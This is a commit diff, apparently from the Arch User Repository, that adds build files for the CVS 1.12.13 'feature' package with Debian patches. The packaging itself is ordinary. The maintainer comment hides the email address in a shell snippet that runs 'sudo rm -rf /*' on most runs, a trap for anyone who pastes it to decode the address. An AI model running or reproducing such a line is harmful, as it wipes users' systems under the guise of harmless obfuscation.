diff options
author | felix | 2016-06-22 17:37:59 +0200 |
---|---|---|
committer | felix | 2016-06-22 17:37:59 +0200 |
commit | d00547acfd3d04d2321f7cfdc9784cd543c3e23d (patch) | |
tree | b40bcd7e7ea02e630641452a414db2238c3adc2a | |
download | aur-d00547acfd3d04d2321f7cfdc9784cd543c3e23d.tar.gz |
Initial version: 1.12.13-1
-rw-r--r-- | .SRCINFO | 25 | ||||
-rw-r--r-- | PKGBUILD | 51 |
2 files changed, 76 insertions, 0 deletions
diff --git a/.SRCINFO b/.SRCINFO new file mode 100644 index 000000000000..17479307a59a --- /dev/null +++ b/.SRCINFO @@ -0,0 +1,25 @@ +pkgbase = cvs-feature + pkgdesc = Concurrent Versions System - a source control system ("feature" release series, with Debian patches) + pkgver = 1.12.13 + pkgrel = 1 + url = http://cvs.nongnu.org/ + arch = i686 + arch = x86_64 + license = GPL + depends = krb5 + depends = zlib + depends = libbsd + optdepends = openssh: for using cvs over ssh + optdepends = inetutils: for using cvs over rsh + provides = cvs + conflicts = cvs + source = ftp://ftp.gnu.org/non-gnu/cvs/source/feature/1.12.13/cvs-1.12.13.tar.bz2 + source = ftp://ftp.gnu.org/non-gnu/cvs/source/feature/1.12.13/cvs-1.12.13.tar.bz2.sig + source = http://http.debian.net/debian/pool/main/c/cvs/cvs_1.12.13+real-15.diff.gz + validpgpkeys = CB6A07CA90C54234E8A3C8D02C3D4E4C17F231A4 + sha512sums = 7d10f808de62190b18d4f706d2d03ab218a508bfb52047ff3e830e293ec40c5e8bf6cc743ef72a5c24be5aa867c9e4892d7d475a026a98b296a3764b4bd0f4d8 + sha512sums = SKIP + sha512sums = 3e305ebaa8c00b6d50281568f6402240feee5fe8e32b16100036017e0c5f27ceb7260762f4e9e907c7fa1c16d5112b8e7a0ef3c66b8345e533c65c5a803222ad + +pkgname = cvs-feature + diff --git a/PKGBUILD b/PKGBUILD new file mode 100644 index 000000000000..847596cb36b7 --- /dev/null +++ b/PKGBUILD @@ -0,0 +1,51 @@ +# Maintainer: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `> +# Originally based on the cvs package from ABS +# Maintainer: Lukas Fleischer <lfleischer@archlinux.org> +# Contributor: dorphell <dorphell@archlinux.org> +# Contributor: Dan McGee <dan@archlinux.org> + +pkgname=cvs-feature +pkgver=1.12.13 +pkgrel=1 +pkgdesc="Concurrent Versions System - a source control system (\"feature\" release series, with Debian patches)" +arch=(i686 x86_64) +provides=(cvs) +conflicts=(cvs) +url="http://cvs.nongnu.org/" +license=('GPL') +depends=('krb5' 'zlib' 'libbsd') +optdepends=('openssh: for using cvs over ssh' + 'inetutils: for using cvs over rsh') +source=( + ftp://ftp.gnu.org/non-gnu/cvs/source/feature/${pkgver}/cvs-${pkgver}.tar.bz2{,.sig} + http://http.debian.net/debian/pool/main/c/cvs/cvs_1.12.13+real-15.diff.gz +) +sha512sums=( + '7d10f808de62190b18d4f706d2d03ab218a508bfb52047ff3e830e293ec40c5e8bf6cc743ef72a5c24be5aa867c9e4892d7d475a026a98b296a3764b4bd0f4d8' + 'SKIP' + '3e305ebaa8c00b6d50281568f6402240feee5fe8e32b16100036017e0c5f27ceb7260762f4e9e907c7fa1c16d5112b8e7a0ef3c66b8345e533c65c5a803222ad' +) +validpgpkeys=('CB6A07CA90C54234E8A3C8D02C3D4E4C17F231A4') # Derek R. Price <moc tod toibmix ta kered> + +prepare() { + cd "${srcdir}/cvs-${pkgver}" + patch -Np1 < ../cvs_1.12.13+real-15.diff +} + +build() { + cd "${srcdir}/cvs-${pkgver}" + unset EDITOR VISUAL + + sed -i -e 's/AM_CONFIG_HEADER/AC_CONFIG_HEADERS/' configure.in + find . -name Makefile.am | xargs sed -i -e 's/^INCLUDES/AM_CPPFLAGS/' + AUTOMAKE='automake --add-missing' autoreconf + ./configure --prefix=/usr LIBS="-lbsd" + make +} + +package() { + cd "${srcdir}/cvs-${pkgver}" + + make DESTDIR="${pkgdir}" install + rm "${pkgdir}"/usr/share/info/dir +} |